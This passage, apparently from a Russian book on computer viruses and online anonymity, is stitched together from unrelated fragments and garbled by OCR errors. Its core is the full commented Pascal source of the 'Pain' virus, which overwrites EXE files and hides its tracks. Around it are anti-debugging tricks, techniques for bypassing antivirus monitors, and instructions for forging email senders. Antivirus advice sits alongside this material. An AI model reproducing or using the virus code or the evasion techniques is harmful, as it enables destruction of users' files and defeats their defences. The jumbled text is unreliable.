процессор считывает код следующей. Когда придет время выполнения

следующей команды, она будет уже считана из памяти, и не нужно бу-

дет тратить время на ее чтение. Прием заключается в модификации ко-

манд, которые уже оказались в конвейере: если трассировка не ведется,

то код команд модифицируется только в памяти, а выполняется та про-

грамма, которая находится в конвейере. Если трассировка ведется, то

конвейер сбрасывается перед каждой командой трассируемой програм-

мы (конвейер сбрасывают такие команды, как JMP, CALL, RET) и вы-

полняется модифицированный код.

Кодифицируем следующую команду. Команда JMP (безусловный

; переход) заменяется на две команды NOP (нет операции)

mov Metka, 9090h

Переходим, если выполняется немодифицированный код (в случае,

;когда трассировка не ведется), и проходим дальше, если выполняется

кодифицированный код (в случае трассировки)

Metka: jmp NoTrace

Trace:

;Сюда попадем при выявленном факте трассировки

NoTrace:

Трассировка не ведется - нормальное выполнение программы

Наконец, последний гвоздь в гроб идеи использования трассировки за-

бит: "Выставленный флаг трассировки можно выявить косвенно, замас-

кировав аппаратные прерывания, поместив в [SP-1] контрольное значе-

ние и дав инструкцию STI. Тогда по изменению слова в стеке можно

судить, было трассировочное прерывание или нет".

Выявив факт трассировки прерывания DOS, мониторы начинают выда-

вать об этом соответствующие сообщения, поэтому даже не самый

опытный пользователь догадается, что кто-то (например, вирус) пытает-

ся попасть в систему.

МЕТОДЫ БОРЬБЫ С ВИРУСАМИ

В этой главе описаны наибо-
лее эффективные методы
борьбы с вирусами, защиты
от проникновения и лечения.
Приведены алгоритмы необ-
ходимых действий при подо-
зрении на наличие вируса
в компьютере. Описаны меры
по предотвращению "эпиде-
мии" путем создания про-
граммы-блокировщика.
Рассмотрен пример создания
программы-антивируса.
Представлены исходные тек-
сты программ с подробными
комментариями.
В предыдущих главах состоялось знакомство с компьютерными вируса-
ми, поражающими Flash BIOS, документы текстового процессора
Microsoft Word 6.0 for Windows, файлы разных операционных систем
и прочие. Пришло время рассмотреть различные способы борьбы с ними.
Итак, что же такое антивирус? Сразу же развеем одну часто возникаю-
щую иллюзию. Почему-то многие считают, что антивирус может обнару-
жить любой вирус, то есть, запустив антивирусную программу или мони-
тор, можно быть абсолютно уверенным в их надежности. Такая точка
зрения не совсем верна. Дело в том, что антивирус - это тоже програм-
ма, конечно, написанная профессионалом. Но эти программы способны
распознавать и уничтожать только известные вирусы. То есть антивирус
против конкретного вируса может быть написан только в том случае, ког-
да у программиста есть в наличии хотя бы один экземпляр этого вируса.
Вот и идет эта бесконечная война между авторами вирусов и антивиру-
сов, правда, первых в нашей стране почему-то всегда больше, чем вторых.
Но и у создателей антивирусов есть преимущество! Дело в том, что су-
ществует большое количество вирусов, алгоритм которых практически
скопирован с алгоритма других вирусов. Как правило, такие вариации
создают непрофессиональные программисты, которые по каким-то причи-
нам решили написать вирус. Для борьбы с такими "копиями" придума-
но новое оружие - эвристические анализаторы. С их помощью антивирус
способен находить подобные аналоги известных вирусов, сообщая
пользователю, что у него, похоже, завелся вирус. Естественно, надежность

эвристического анализатора не 100%, но все же его коэффициент полез-

ного действия больше 0,5. Таким образом, в этой информационной вой-

не, как, впрочем, и в любой другой, остаются сильнейшие. Вирусы, кото-

рые не распознаются антивирусными детекторами, способны написать

только наиболее опытные и квалифицированные программисты.

Таким образом, на 100% защититься от вирусов практически невозмож-

но (подразумевается, что пользователь меняется дискетами с друзьями

и играет в игры, а также получает информацию из других источников,

например из сетей). Если же не вносить информацию в компьютер из-

вне, заразиться вирусом невозможно - сам он не родится.

Итак, что же можно посоветовать, чтобы сталкиваться с вирусами как

можно меньше или, по крайней мере, только сталкиваться, не допуская

их на жесткий диск своего винчестера. В первую очередь - самые эле-

ментарные правила "компьютерной гигиены": проверка дискет на нали-

чие вируса самыми надежными антивирусными программами, такими,

например, как AVP или DrWeb. Очень хорошо, если на жестком диске

установлен ревизор Adinf. Многие пользователи добавляют строку за-

пуска ревизоров, антивирусов, антивирусных мониторов в конфигура-

ционный файл AUTOEXEC.BAT - тоже весьма действенно.

Есть определенные способы борьбы и с загрузочными вирусами.

В установках (SETUP) компьютера предусмотрена защита от записи

в MBR. Когда запись начинается, BIOS сразу же ее останавливает

и запрашивает подтверждение на разрешение записи. Естественно,

следует запретить запись, а затем загрузится со своей, заранее подго-

товленной, системной дискеты. У большинства компьютерных пользо-

вателей такой дискеты нет - а надо бы завести. И это еще не все.

Вирусы постоянно совершенствуются, и все их многообразие охватить,

конечно, невозможно. Поэтому надо быть готовым, что рано или по-

здно вирус все-таки попадет на жесткий диск, и встретить его нужно

во всеоружии.

На FTP-сервер под чужим IP-адресом


Путешествуя по Интернет, пользователи часто не задумываются о том,
что оставляют следы своих посещений каждый раз, когда заходят на
какой-либо FTP-сайт. Стандартные log-файлы позволяют любопытным
владельцам сайтов узнать многое, и, прежде всего, IP-адрес, что равно-
значно, например, тому, что определен номер телефона. Существует не-
сколько способов защитить privacy от подобных посягательств.
Анонимно путешествовать по сети можно с помощью proxy-сервера.
Proxy сервер работает, по сути, как Анонимайзер, то есть документ
с сайта "забирает" он, а не компьютер пользователя. Большинство proxy
серверов ограничивают доступ на основании IP-адреса, с которого при-
ходит обращение. Иными словами, если провайдером пользователя яв-
ляется Demos, то proxy сервер Glasnet его к себе попросту не пустит.
Но, к счастью, в сети всегда можно найти "добрый" proxy, владельцы
которого либо открыто заявляют о его доступности для всех желающих,
либо, по той или иной причине, не ограничивают доступ только своим
доменом, о чем широкой публике не известно, например:
svc.logan.k12.ut.us: 8001
proxyl.emirates.net.ae: 8080
proxy.sysnet.it: 8080
www.archmate.com.tw: 3128
www-proxy.global-one.ru: 3333
sunsite.cs.msu.su: 3128
www.anonymizer.com: 8080
squid.nianr.net: 3128
Для настройки FTP-клиентов proxy-сервер надо установить в passive
режим. Проделав эту нехитрую операцию, можно путешествовать по
сети, как болгарский или американский пользователь, но... тут есть один
очень важный момент. Далеко не все proxy серверы являются полнос-
тью анонимными. Некоторые из них позволяют администратору сайта,
который пользователь посещаете с использованием proxy, при желании
определить IP-адрес, с которого происходит обращение к proxy, то есть
реальный IP-адрес пользователя. Поэтому выбранный proxy-сервер
нужно проверить на предмет его полной или неполной анонимности.
Сделать это можно на сервере http://www.tamos.com/bin/proxy.cgi
Если в ответ получено сообщение "Proxy server is detected!", выбран-

ный proxy имеет "дыру", будет предоставлена информация о реальном

IP-адресе пользователя, как, впрочем, и об IP-адресе proxy сервера,

с которого пришел запрос. Если же сообщение гласит "Proxy server is

not detected" - все в порядке, анонимность обеспечена. Рекомендуется

периодически (не реже, чем раз в месяц) проверять proxy, с которыми

ведется работа, на предмет анонимности. В заключение еще несколько

соображений касательно использования proxy серверов. Работа через

далеко расположенный proxy снижает .скорость передачи данных и уве-

личивает время ожидания. Кроме того, если все читатели будут исполь-

зовать приведенные выше адреса proxy, то очень скоро удовольствие

кончится, и доступ к ним будет закрыт (если уже не закрыт). Найти

подходящий proxy несложно, например, приведенные адреса найдены

всего за пять минут. В поисковой машине (например Alta Vista) указы-

ваются ключевые слова, что-нибудь вроде proxy+server+coniiguration+

Netscape. В результате появится список страниц, где провайдеры расска-

зывают своим пользователям, как настроить браузеры для работы с их

proxy. Если пробовать все подряд, на пятый или седьмой раз удача

улыбнется, и proxy-сервер согласится работать.

Например:

call CreateFileA
После компиляции этот вызов выглядит так:
db 9Ah .инструкция call
dd 7777 ;смещение в таблице переходов
Код в таблице переходов похож на такой:
jmp far [offset into import table]
Смещение в таблице импортируемых имен содержит адрес диспетчера
для данной функции API. Этот адрес можно получить с помощью
GetProcAddress API. Диспетчер функций выглядит так:
push function value
call Module Entrypoint
Зная точки входа, можно вызывать их напрямую, минуя таблицу этого
модуля. Поэтому можно заменить вызовы KERNEL32.DLL в его стан-
дартной точке на вызовы непосредственно функций. Просто сохраняем
в стеке значение функции и вызываем точку входа в модуль.
Модуль KERNEL32 располагается в памяти статически - именно так
и предполагалось. Но конкретное место его расположения в разных вер-
сиях Windows 95 отличается. Это было проверено. Оказалось, что одна
функция (получение времени/даты) отличается номером. Для компен-
сации этих различий добавлена проверка двух различных мест на нали-
чие KERNEL32. Но если KERNEL32 все-таки не найден, вирус возвра-
щает управление программе-носителю.

Ниже приведен листинг программы, заражающей файлы таким способом.

{$М 2048, 0, 0}
{$А-}
{$В-}
{$D-}
{$Е+}
($F-)
($G-}
($!-}
{$L-}
{$N-}
{$S-} /
{$V-}
{$X+}
{Используются модули DOS и System (модуль System автоматически
подключается к каждой программе при компиляции)}
Uses DOS;
Const
(Имя вируса}
VirName='Pain';
{Строка для проверки на повторное заражение.
Она дописывается в заражаемый файл сразу после кода вируса}
VirLabel: String[5]='Pain!1;
{Длина получаемого при компиляции ЕХЕ-файла}
VirLen=4208;
Author='Dirty Nazi/SGWW.';
{Количество заражаемых за один сеанс работы файлов}
lnfCount=2;
Var
{Массив для определения наличия копии вируса в найденном файле}
Virldentifier: Array [1.5] of Char;
{Файловая переменная для работы с файлами}
VirBody: File;
(Еще одна файловая переменная - хотя без нее можно было
обойтись, так будет понятнее)
Target: File;
{Для имени найденного файла)
TargetFile: PathStr;
(Буфер для тела вируса)
VirBuf : Array [-I.VirLen] of Char;
(Для даты/времени файла)
Time : Longint;
(Счетчик количества инфицированных файлов)
InfFiles : Byte;
Dirlnfo : SearchRec;
LabelBuf : Array [1.5] of Char;
(Инициализация)
procedure Init;
begin
LabelBuf [1]:=VirLabel[1];
LabelBuf[2]:=VirLabel[2];
LabelBuf[3]:=VirLabel[3],
LabelBuf[4]:=VirLabel[4];
LabelBuf[5]:=VirLabel[5];
(Обнуляем счетчик количества инфицированных файлов}
lnfFiles:=0;
(Связываем файловую переменную VirBody с именем программы.
из которой стартовали)
Assign(VirBody, ParamStr(O));
(Открываем файл с recsize=1 байту)
Reset(VirBody, 1);
(Считываем из файла тело вируса в массив VirBuf}
BlockRead(VirBody VirBuf, VirLen);
(Закрываем файл)
Close(VirBody);
end;
(Поиск жертвы}
procedure FindTarget;
Var
Sr: SearchRec;
(Функция возвращает True, если найденная
программа уже заражена, и False, если еще нет}
function VirusPresent: Boolean;
begin
(Пока будем считать, что вируса нет}
VirusPresent:=False;
(Открываем найденный файл}
Assign(Target, TargetFile);
Reset(Target, 1);
(Перемещаемся на длину тела вируса от начала файла}

Seek(Target, VirLen);

(Считываем 5 байт - если файл уже заражен,

там находится метка вируса}

BlockRead(Target, Virldentifier, 5);

If Virldentifier=Virl_abel Then

{ Если метка есть, значит есть и вирус}

VirusPresent:=True;

end;

(Процедура заражения}

procedure InfectFile;

begin

{Если размер найденного файла меньше, чем длина вируса

плюс 100 байт, то выходим из процедуры}

If Sr.Size < VirLen+100 Then Exit;

{Если найденная программа еще не заражена, инфицируем ее}

If Not VirusPresent Then

begin

{Запомним дату и время файла. Атрибуты запоминать не надо,

так как поиск ведется среди файлов с атрибутом Archive, а этот

атрибут устанавливается на файл после сохранения в любом случае}

Time:=Sr.Time;

{Открываем для заражения}

Assign(Target, TargetFile);

Reset(Target, 1);

{Записывам тело вируса в начало файла}

BlockWrite(Target, VirBuf, VirLen);

{Перемещаем указатель текущей позиции

на длину вируса от начала файла}

Seek(Target, VirLen);

{Вписываем метку заражения}

BlockWrite(Target, LabelBuf, 5);

{Устанавливаем дату и время файла}

SetFTime(Target, Time);

{Закрываем}

Close(Target);

{Увеличиваем счетчик инфицированных файлов}

Inc(lnfFiles);

end;

end;

{Начало процедуры FindTarget}

begin

{Ищем в текущем каталоге файлы по маске *.ЕХЕ

с атрибутами Archive}

FindFirstF.EXE', Archive, Sr);

{Пока есть файлы для заражения}

While DosError=0 Do

begin

If Sr.Name=" Then Exit;

(Запоминаем имя найденного файла в переменную TargetFile}

TargetFile:=Sr.Name;

{Вызываем процедуру заражения}

InfectFile;

{Если заразили InfCount файлов, завершаем поиск}

If InfFiles > InfCount Then Exit;

{Ищем следующий файл по маске}

FindNext(Sr);

end;

end;

{Основное тело}

begin

(Инициализируемся}

hit;

{Ищем жертвы и заражаем их}

FindTarget;

{Выдаем на экран сообщение об ошибке}

WriteLn('Abnormal program termination.');

{Это чтобы компилятор вставил в код константы VirName

и Author, условие же поставлено таким образом,

что эти строки никогда не будут выведены на экран}

If 2=3 Then

begin

WriteLn(VirName);

WriteLn(Author);

end;

end.

Обход резидентных антивирусных мониторов


Обычно все программы используют сервис DOS так:
mov ah,...
int 21 h
По команде INT управление передается в точку, адрес которой определя-
ется двумя словами, находящимися в таблице векторов прерываний
по адресу 0000h:0084h. С этого момента начинается исполнение команд
многочисленных обработчиков прерывания INT 21h и не менее многочис-
ленных резидентных программ до тех пор, пока управление, наконец,
не получит оригинальный обработчик операционной системы (рис. 5.1.):
Обход резидентных антивирусных мониторов
Разумеется, среди этих многочисленных обработчиков может "затесаться"
обработчик, принадлежащий антивирусному монитору, который не дает
спокойно работать не только вирусам, но и обычным программам.
Поэтому серьезные вирусы и некоторые хорошо написанные программы
пытаются определить адрес оригинального обработчика и обратиться
к нему напрямую, в обход остальных обработчиков:
mov ah,...
pushf
call dword ptr 021
021 dw ?
S21 dw ?
Но антивирусные мониторы учитывают эту возможность и принимают
свои меры.

Общие сведения


Макрос - это программа, написанная на некотором языке, которая ис-
пользуется обычно для автоматизации определенных процессов внутри
приложений. В данном случае разговор пойдет о языках Visual Basic for
Applications (VBA) и WordBasic (WB), которые Microsoft использует в
своих программах (в частности, Excel, Project и PowerPoint используют
VBA, a WinWord - WB).
Далее будем считать стандартным языком VBA, так как он представля-
ет собой попытку унифицировать макроязык, сделать его общим для
всех программ Microsoft. Несмотря на то, что WB имеет некоторые от-
личия, в том числе и в синтаксисе, структура кода этих языков похожа.
При необходимости будет особо отмечено, что речь идет о WB.
Макрос VBA - это вызываемые процедуры. Они бывают двух типов:
процедуры-подпрограммы и процедуры-функции.
Процедуры-подпрограммы могут исполняться непосредственно или вы-
зываться из других макросов. Синтаксис их следующий:
Sub <Имя_Макроса>
-> код макроса <-
'Комментарий начинается с апострофа
End Sub

Определение адреса оригинального обработчика DOS


Для того чтобы обратиться к DOS напрямую, нужно знать адрес ориги-
нального обработчика. Получить этот адрес не так просто.

Отправление E-mail


Даже вполне добропорядочные граждане иногда хотят сохранить в тай-
не свою личность при высказывании своего мнения, скажем, автору сай-
та, пропагандирующего фашизм, или президенту Лукашенко. Вопросы
приобретения второго (анонимного) электронного адреса вынесены
в отдельный подраздел "Второй адрес".
Remailer (Ремейлер) - это компьютер, получающий сообщение и от-
правляющий его по адресу, указанному отправителем. В процессе пере-
адресации все заголовки (headers), содержащие информацию об отпра-
вителе, уничтожаются, так что конечный получатель лишен всякой
возможности выяснить, кто является автором сообщения. Таких про-
грамм в сети много, некоторые из них позволяют указывать фиктивный
адрес отправителя, большинство же прямо указывают в заголовке, что
сообщение анонимно. Чтобы узнать, как пользоваться ремейлером, нуж-
но отправить сообщение по адресу remailer@replay.com, указав в поле
Subject remailer-help. Через некоторое время придет ответ с подробны-
ми инструкциями об отправке анонимных сообщений. Еще более про-
стой способ - это отправиться по адресу
http ://www. replay, com/remai ler/
Там расположен ремейлер, позволяющий посылать сообщения прямо из
WWW. На этом же сайте также можно воспользоваться цепочкой из
ремейлеров, так что отправленное сообщение пройдет через несколько
компьютеров, каждый из которых старательно уничтожит все заголовки
предыдущего. Но делать это, скорее всего, нецелесообразно. Во-первых,
одного ремейлера вполне достаточно (если, конечно, отправитель не
секретный агент), во-вторых, сообщение может затеряться и не дойти до
получателя, в-третьих, оно может идти очень долго. Вот пример полу-
ченного сообщения:
Date: Mon, 31 Mar 1997 12:33:23 +0200 (MET DST)
Subject: The rest is silence:
To: petya@glasnet.ru
From: nobody@REPLAY.COM (Anonymous)
Organization: Replay and Company Unlimited
X-URL: http://www.replay.com/remailer/
X-001: Replay may or may not approve of the content of this posting
X-002: Report misuse of this automated service to abuse@replay.com

Теоретически определить реального отправителя сообщения с использо-

ванием ремейлера можно, но практически это сделать очень сложно.

На это способны лишь люди из ФСБ, ФАПСИ, ЦРУ и им подобных

организаций. Но и они должны будут предварительно запастись реше-

нием суда, чтобы ремейлер открыл им требуемую информацию. А если

использовалась цепочка ремейлеров, то придется обойти всю цепочку.

Но если отправитель к тому же пользовался анонимным proxy-сервером

и (или) анонимайзером, то шанс найти его становиться еще меньше

(не забудьте отключить использование файлов Cookies).

Итак, первое апреля. Вы умираете от желания сообщить своему другу

от имени его провайдера о том, что его счет закрыт за неуплату (сооб-

щение должно быть с обратным адресом его провайдера). Описанные

ниже способы хороши для розыгрышей, но мало пригодны, если дей-

ствительно нужно остаться анонимным. Варианты таковы:

Использование обычной почтовой программы. Самый простой вариант:

поставить в своей почтовой программе в поле Return Address любой

адрес, и если получатель письма не станет изучать его заголовок, он

останется в уверенности, что получил сообщение именно от того, чей

адрес указан в поле From. Очень просто и очень ненадежно.

Использование специальной программы - анонимизатора. Таких про-

грамм несколько, примером может служить AnonyMail

(ftp://ftp.tordata.se/www/hokum/amaill0.zip). Заполняются поля From,

То, Subject (тут все ясно), и поле Host, в котором указывается имя

хоста, через который будет отправлена почта. Поскольку протокол от-

правки сообщений SMTP не требует в подавляющем большинстве слу-

чаев какой-либо авторизации отправителя, смело можно указать прак-

тически любое имя, желательно такое же, как у предполагаемого

получателя этого сообщения. Для не очень опытного пользователя оп-

ределение подлинности сообщения будет значительно затруднено. На-

пример, если отправляется письмо по адресу kiska@frontier.net, в поле

Host нужно указать адрес frontier.net.Для проверки можно отправить

сообщение самому себе. Недостатки: IP-адрес вашей машины все-таки

будет отражен в заголовке. Кроме того, поле То в полученном сообще-

нии превратится, скорее всего, в Apparently-To. Правда, мало кто об-

ратит на это внимание. Эти способы вполне корректно работают

и с русскими кодировками. Поскольку de facto стандартом для пере-

сылки сообщений между разными компьютерами является KOI8-R,

при рассылке сообщений рекомендуется использовать именно эту ко-

дировку - отправленное сообщение, скорее всего, будет правильно пе-

рекодировано почтовым компьютером получателя.

Пейджинговая безопасность

Пейджер стал для многих незаменимым средством оперативного обще-
ния. Но мало кто знает, что технология пейджинга позволяет организо-
вать прослушивание (мониторинг) пейджинговых сообщений с помощь
несложной аппаратуры (сканер+компьютер+соответствующее про-
граммное обеспечение). Поэтому пейджинговые компании контролиру-
ются не только ФСБ, ФАПСИ и прочими силовыми подразделениями,
но и всеми, кому не лень, в том числе криминальными структурами
и новоявленными Джеймс Бондами в лице отечественных фирм, зани-
мающихся так называемой защитой информации.

Первый макрос (испанский):

Sub Demo_Macro
Con Seleccion.Fuente
.Nombre="Times"
Fin Con
End Sub

Pinger


Воспользовавшись программой CyberKit (http://www.cHp.de/Software/cyberap)
или, например, WSPing32 (http://www.glasnet.ru/glasweb/rus/wsping32.zip)
пользователь получает возможность ткнуть пальцем в любой'адрес
электронной почты и спросить: "А это кто?". Иногда можно даже полу-
чить ответ. Итак, задаем адрес someone@oxfbrd.edu, получаем:
Login name:someone In real life: John McCartney
Directory:/usr/someone Shell: /usr/bin/csch
Last login Fri Aug18, 1995 on ttyv3 from dialup.oxford.edu
No mail
No plan
OK, someone@oxfrord.edu принадлежит John McCartney. Дело сделано,
хотя очень часто никакого результата не будет, либо появится строка
типа "Forwarding service denied" или "Seems like you won't get what you
are looking for".
To же самое можно сделать, не забивая компьютер подобными программами
(хотя они очень полезны и пригодятся не раз), а посетив Web-интерфейс, по-
зволяющий получить тот же самый результат (http://web.lm.com/sfw.html).
Следует заметить, что выполнение Pinger с использованием имени хоста
(в данном случае oxford.edu) может не принести никакого результата,
в то время как использование видоизмененного (альтернативного) имени
хоста результат даст. Как узнать альтернативное имя хоста? При помощи
CyberKit, функция NS LookUp. Нужно ввести имя www.oxford.edu
и посмотреть на полученный результат. Он может содержать альтерна-
тивные имена хоста, называемые aliases, например panda.oxford.edu. По-
пробуйте someone@panda.oxford.edu,- может сработать.
Иногда информация в ответ на Pinger-запрос может быть выдана толь-
ко пользователю из того же домена, к которому принадлежит иденти-
фицируемый адрес. Решение простое: можно найти пользователя из ис-
комого домена в Internet Relay Chat и попросить его сделать
Pinger-запрос. Программа-клиент для IRC содержит функцию Pinger,
так что никакое специальное программное обеспечение человеку, к ко-
торому вы обратились, не потребуется.

Поиск в E-mail Directories


В Интернет широко представлены службы, позволяющие разыскать
электронный адрес человека по его имени. Между тем эти же службы
иногда можно использовать для выполнения обратной задачи. На
какой-либо из указанных ниже страниц можно задать лишь домен иско-
мого адреса, без имени.
http://www.four11 .corn
http://www. yahoo.com/search/people
http://www.bigbook.com
http://www. bigfoot.com
http://www.bigyellow.com
http://www.infospace.com
http://www.abii.com/lookupusa/adp/peopsrch.htm
http://www. looksmart.com
http ://www. switch board. corn
http://www.whowhere.com
http://www.dubna.ru/eros/
(поиск по русским ресурсам).
Если пользователей, адреса которых принадлежат к искомому домену,
немного, то система в ответ на запрос выдаст список адресатов. Но, как
правило, список содержит не более ста имен и адрес, стоящий перед
знаком @, не указывается. Чтобы выяснить адрес целиком, придется
следовать по ссылке для каждого имени. Если же людей с таким доме-
ном больше ста, то поиск таким способом теряет смысл. Другими сло-
вами, человека из (c)aol.com или (c)netcom.com так не найдешь.

Поиск в WWW и Usenet


Это сделать очень просто:
Нужно набрать адрес http://www.altavista.digital.com и нажать Find!
Есть вероятность найти домашнюю страницу искомого пользователя
или упоминание о нем на других страницах. Там вполне может быть
имя обладателя адреса, а если повезет, и фото.
Если человек с искомым адресом отправлял в какую-нибудь группу
Usenet сообщение, то его можно разыскать по адресу. Для этого можно
воспользоваться системой AltaVista (http://www.altavista.digital.com),
позволяющей производить поиск во всех недавно отправленных
в Usenet сообщениях. В поле поиска нужно набрать искомый адрес (пе-
ред адресом необходимо написать from:). После нажатия кнопки Find
откроется новое окно с результатами поиска.
Поиск в системе DejaNews (http://www.dej anews.com) проводить пред-
почтительнее, потому что она предлагает поискать нужный адрес
и среди старых сообщений, если среди недавних он не найден. Поиск
также можно вести прямо с этой страницы (from: писать не нужно,
просто адрес).

Поиск вируса


Когда во время работы компьютер начинает вести себя как-то необыч-
но, первая мысль, приходящая на ум любому пользователю - уж не ви-
рус ли это. В такой ситуации важно правильно оценить свои подозре-
ния и сделать выводы.
Как правило, человек, обладающий некоторым опытом и владеющий со-
ответствующим программным инструментарием, справляется с этой зада-
чей без особых затруднений. Наиболее сложная ситуация - когда дей-
ствовать приходится в "полевых" условиях, например, на чужой машине.
Типичный вариант: стандартная PC (286, 386...Pentium), как минимум
1Мбайт ОЗУ, как минимум 400Мбайт HDD; возможно наличие прин-
тера, звуковой карты, CDD и прочей периферии. Программное обеспе-
чение: Windows 95, возможно Windows 3.1x, но работают все равно под
DOS. Джентльменский набор: Norton Commander 3.0-5.0, Norton Utility
6.0-8.0, свежие антивирусы: AidsTest и DrWeb, русификаторы, архивато-
ры, резидентные программы и прочее. В качестве обязательного усло-
вия - наличие заведомо "чистой" защищенной от записи загрузочной
дискеты, содержащей (хотя бы в урезанном виде) вышеупомянутый
комплект программ.
Итак, по мнению хозяина компьютер ведет себя странно. Например,
программы, которые раньше работали правильно, начинают сбоить или
вообще перестают запускаться, компьютер периодически "виснет", эк-
ран и динамик воспроизводят необычные видео- и аудиоэффекты. Что
будем делать?
1. Усаживаем перед собой хозяина компьютера и подробно расспраши-
ваем его о событиях, предшествующих возникновению сбоев. Выяс-
нить нужно следующее.
Кем и как используется машина? Если сотрудники или хозяин час-
то приносят мелкие игрушки, гороскопы, устанавливают и стирают
различные бухгалтерские программы, то вероятность наличия виру-
са в машине весьма высока. Крупные игрушки, которые с трудом
умещаются даже в упакованном виде в коробку дискет, переносятся
с машины на машину редко. При этом они, чаще всего, тщательно
проверяются на наличие вирусов.

а) Когда впервые замечены симптомы вируса? Некоторые вирусы

любят приурочивать свою деятельность к определенной дате или

времени: 1 мая, 7 ноября, 13-е число, пятница, пять часов вечера,

а также 6 марта, 15 ноября, 11-я минута каждого часа.

б) Не связаны ли изменения в работе компьютера с первым запус-

ком какой-либо программы? Если да, то эта программа - первая

в очереди на "медкомиссию".

в) Не связано ли появление симптомов заражения с распаковкой

какого-либо старого архива и запуском программ из него? Неко-

торые современные антивирусы (AVP, DrWeb) умеют проверять

архивы наиболее популярных форматов. Но ведь изредка еще

встречаются архивы .ice, .arc, .zoo, .bsa, .uc2, .ha, .pak, .chz, .eli

и прочие - их антивирусы диагностировать не могут.

г) Не имеет ли хозяин (хозяйка) компьютера привычку оставлять

дискеты в дисководе при перезагрузке? Загрузочный вирус мо-

жет годами жить на дискете, никак себя не проявляя.

2. В присутствии хозяина (хозяйки) включаем компьютер. Вниматель-

но следим за процессом загрузки. Сначала запускается программа

POST, записанная в ПЗУ BIOS. Она тестирует память, тестирует и

инициализирует прочие компоненты компьютера и завершается ко-

ротким одиночным гудком. Если "вирус" проявляет себя уже на

этом этапе - он здесь ни при чем. Теоретически вирус может суще-

ствовать и в BIOS: предполагается, что первые вирусы на террито-

рию СССР "приехали" внутри болгарских ПЗУ (современные ПЗУ

часто не являются "постоянными запоминающими устройствами",

они предусматривают возможность перезаписи BIOS).

3. В присутствии хозяина (хозяйки) пытаемся вызвать необычное по-

ведение компьютера.

а) Идеально, если вирус (если это действительно он) самостоятель-

но извещает всех о своем присутствии, например, выводит на эк-

ран сообщение типа "I am VIRUS!".

Вирусы проявляют себя различными способами: проигрывают ме-

лодии, выводят на экран посторонние картинки и надписи, имити-

руют аппаратные сбои, заставляя дрожать экран.


Но, к сожалению,

чаще всего вирусы специально себя не обнаруживают. К антиви-

русным программам прилагаются каталоги с описаниями вирусов

(для AidsTest они хранятся в файле aidsvir.txt, для DrWeb -

в файле virlist.web). Наиболее полным является гипертекстовый

каталог avpve, входящий в состав антивирусного пакета Е. Каспер-

ского. В нем можно не только прочитать достаточно подробное

описание любого вируса, но и понаблюдать его проявления.

От настоящих вирусов следует отличать так называемые "студен-

ческие шутки", особенно широко распространенные на компью-

терах ВУЗов и школ. Как правило, это резидентные программы,

которые периодически производят напоминающие работу виру-

сов видео- и аудиоэффекты. В отличие от настоящих вирусов,

эти программы не умеют размножаться. Наличие такого рода

программ на "бухгалтерских" компьютерах маловероятно.

б) Очень часто сбои вызываются вирусами не преднамеренно,

а лишь в силу их несовместимости с программной средой, возни-

кающей из-за наличия в алгоритме вируса ошибок и неточнос-

тей. Если какая-либо программа "зависает" при попытке запуска,

существует очень большая вероятность, что именно она и зараже-

на вирусом. Если компьютер "виснет" в процессе загрузки (пос-

ле успешного завершения программы POST), то при помощи по-

шагового выполнения файлов config.sys и autoexec.bat (клавиша

F8 в DOS 6.x) можно легко определить источник сбоев.

4. Не перегружая компьютер, запускаем (можно прямо с винчестера)

антивирус, лучше всего DrWeb с ключом /hal. Вирус (если он есть)

попытается немедленно заразить DrWeb. Последний достаточно на-

дежно детектирует целостность своего кода и в случае чего выведет

сообщение "Я заражен неизвестным вирусом!" Если так и произой-

дет, то наличие вируса в системе доказано. Внимательно смотрим на

диагностические сообщения типа "Файл такой-то ВОЗМОЖНО за-

ражен вирусом такого-то класса" (СОМ, EXE, TSR, BOOT, MACRO

и т.п.).


Подозрения на ВООТ-вирус в 99% бывают оправданы.

Однажды DrWeb 3.20 "ругался" на ВООТ-сектор дискеты, "вылечен-

ной" AidsTest от вируса LzExe, поэтому антивирусным программам

тоже не всегда можно доверять. Наличие большого количества фай-

лов, предположительно зараженных вирусом одного и того же клас-

са, с большой достоверностью указывает на присутствие в компьюте-

ре неизвестного вируса. Но могут быть и исключения - DrWeb

версии 3.15 и ниже активно "ругался" на стандартные DOC-компо-

ненты WinWord 2.0.

Кроме того, DrWeb определяет наличие в памяти компьютера неиз-

вестных резидентных вирусов и Stealth-вирусов. Ошибки при их

определении (в последних версиях антивируса) достаточно редки.

Версия 3.15, не умеющая лечить вирус Kaczor, исправно заподозри-

ла наличие агрессивного резидента в памяти. Версия же 3.18, умею-

щая его лечить, в инфицированной системе вообще ничего не заме-

тила, а детектировала и вылечила вирус лишь при загрузке с чистой

дискеты. При этом нужно иметь в виду, что предупреждения типа

"Странная дата файла", единичные подозрения на СОМ-, ЕХЕ-ви-

русы и прочее вряд ли могут быть расценены как бесспорное дока-

зательство наличия вируса.

MACRO-вирусы живут исключительно в Windows и никакого нега-

тивного влияния на DOS-программы оказать не могут, за исключе-

нием того случая, когда они что-либо стерли в Windows-сеансе.

5. Нередко сбои бывают вызваны естественными причинами, никако-

го отношения к вирусам не имеющими.

а) Аппаратные сбои. Исключить эту возможность поможет загрузка

с чистой дискеты и запуск (с нее) диагностической программы

ndiags. Тестируем память, основную плату, порты и все осталь-

ное. Иногда достаточен простой внешний осмотр компьютера -

может быть, что-то неправильно подключено.

б) Нарушения в логической структуре диска. Загружаемся с чистой

дискеты и запускаем (с нее) ndd. Сначала просто отмечаем наличие

ошибок (перекрестных цепочек, потерянных кластеров и так далее).

Если ошибок очень много и подавляющее их число относится

к СОМ- и ЕХЕ-файлам, то ни в коем случае нельзя выполнять опе-

рацию исправления ошибок: это может быть DIR-подобный вирус,

и такое "лечение" диска может стать для многих программ фаталь-

ным. Если ошибки есть и их относительно немного, рискуем и ле-

чим диск. Вновь загружаемся с винчестера. Сбои пропали?

в) Конфликты между различными компонентами операционной си-

стемы и прикладными программами. Особенно "вредоносными"

являются дисковые драйверы-обманщики, активно видоизменяю-

щие (пусть и с благородными целями) информацию, считывае-

мую или записываемую на диск:

- дисковые кэш (SMARTDRV, NC_CASHE);

- упаковщики дисков (DblSpace, DrvSpace, Stacker);

- системы безопасности (антивирусные мониторы типа PROTECT,

HDPROT, ADM и прочие, системы разграничения доступа

DISKMON, DISKREET). Нередко сбоят устаревшие пристыковоч-

ные системы защиты от несанкционированного копирования, типа

NOTA или CERBERUS.

6. Наконец, самый интересный случай - вирус явно не обнаружен,

но подозрения на его наличие 'по-прежнему остаются. Достаточно

подробно эту тему изложил Е. Касперский в своей книге "Компью-

терные вирусы в MS-DOS", избранные фрагменты которой можно

